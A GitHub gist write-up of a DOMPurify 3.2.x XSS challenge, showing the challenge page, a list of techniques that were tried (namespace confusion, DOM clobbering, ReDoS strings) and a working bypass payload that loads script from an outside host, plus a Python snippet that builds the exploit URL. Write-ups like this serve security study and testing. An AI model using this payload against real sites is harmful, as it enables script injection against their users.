Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active April 5, 2025 18:20
Show Gist options
  • Save Siss3l/e2ae319d5f091774e4fff115d8f86434 to your computer and use it in GitHub Desktop.
Save Siss3l/e2ae319d5f091774e4fff115d8f86434 to your computer and use it in GitHub Desktop.
DOMPurify 3.2.4 February XSS Challenge

DOMPurify 3.2.3 February XSS Challenge

Description

Pop an alert.

Chall

The solution:

  • Should only use the provided endpoint;
  • Must not involve user interaction.

Overview

We have a web challenge (hopefully without deadline) which allows us to play with the latest version of DOMPurify sanitizer:

<!DOCTYPE>
<html>
  <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
  <iframe id="output" frameborder="0" srcdoc="<b>Hello</b>"></iframe>
  <div id="source">
    <script>
      DOMPurify.addHook("beforeSanitizeElements", (node) => {
        if(node.nodeType === 1 && node.tagName.toUpperCase() === "SCRIPT") {
          if(node.namespaceURI !== "http://www.w3.org/1999/xhtml" || 
             node.src !== "http://localhost/try_harder.js") { node.remove(); 
          }//node.src !== "https://fiddle.jshell.net/_display/try_harder.js"
          else { node.innerText = ""; node.innerHTML = ""; }
        }
      });
      const params  = new URLSearchParams(location.search); // `0<script/src='&nbsp//nj.rs/../../../try_harder.js'>`
      output.srcdoc = DOMPurify.sanitize(params.get("html") || "<b>Hello</b>", {ADD_TAGS:["script"]});
      // source.innerText = document.body.innerHTML;
    </script>
  </div>
</html>

Resolution

The problem with this kind of use case, which is not really one as some would say, is that it remains difficult to properly debug everything that happens before/after the sanitization.

Optimistically there are a whole bunch of things we can do on our updated browser as:

  • Using data URI scheme;
  • CSS imports that are not purified by default;
  • Different HTML attributes like <img><script/href=//nj.rs src=try_harder.js is hidden type=document>;
  • Changing the namespace context of a <script> tag within <svg>, <math> tags with non-breaking space;
  • ReDos on some regex/html code like console.info(document.createRange().createContextualFragment('<audio>'.repeat(149)).children[0]) or '}\x00'.repeat(38730)+'}' locally;
  • Path traversal as proposed by DeepSeek;
  • DOM Clobbering as <form><input/name=tagName> where the tagName property will crash on node.tagName.toUpperCase is not a function.

Thus if we search for old writeups, blogs about nested tags, mXSS with SVG elements, namespace confusion and versions of DOMPurify we can hope that all of this could be useful.

We should therefore try to change the current URL of all relative paths within the valid src property to execute our payload instead:

node namespaceURI src tagName nodeType
NODE <body>"0"<script src="//nj.rs/../../../try_harder.js"></script></body> http://www.w3.org/1999/xhtml undefined BODY 1
NODE "0" undefined undefined undefined 3
NODE <base href="//host"> http://www.w3.org/1999/xhtml undefined BASE 1
NODE <script src=" //nj.rs/../../../try_harder.js"></script> http://www.w3.org/1999/xhtml http://localhost/try_harder.js SCRIPT 1
host, xss = "//localhost/", "//nj.rs" # $ touch ~/favicon.ico && python -m http.server 80
enc = __import__("urllib.parse").parse.quote(f'0<script/src=&nbsp{xss}/../../../try_harder.js>',safe='<>"')
print(f'http://localhost/poc.htm?html={enc}') # It should work with(out) `<base/href={host}>` tag given the local context
# http://localhost/poc.htm?html=0<script%2Fsrc%3D%26nbsp%2F%2Fnj.rs%2F..%2F..%2F..%2Ftry_harder.js>
# Will alert nj.rs => `javascript:alert(document.domain),1`

A nice challenge which asks us to dig deeper into every tiny details!

Bye

Comments are disabled for this gist.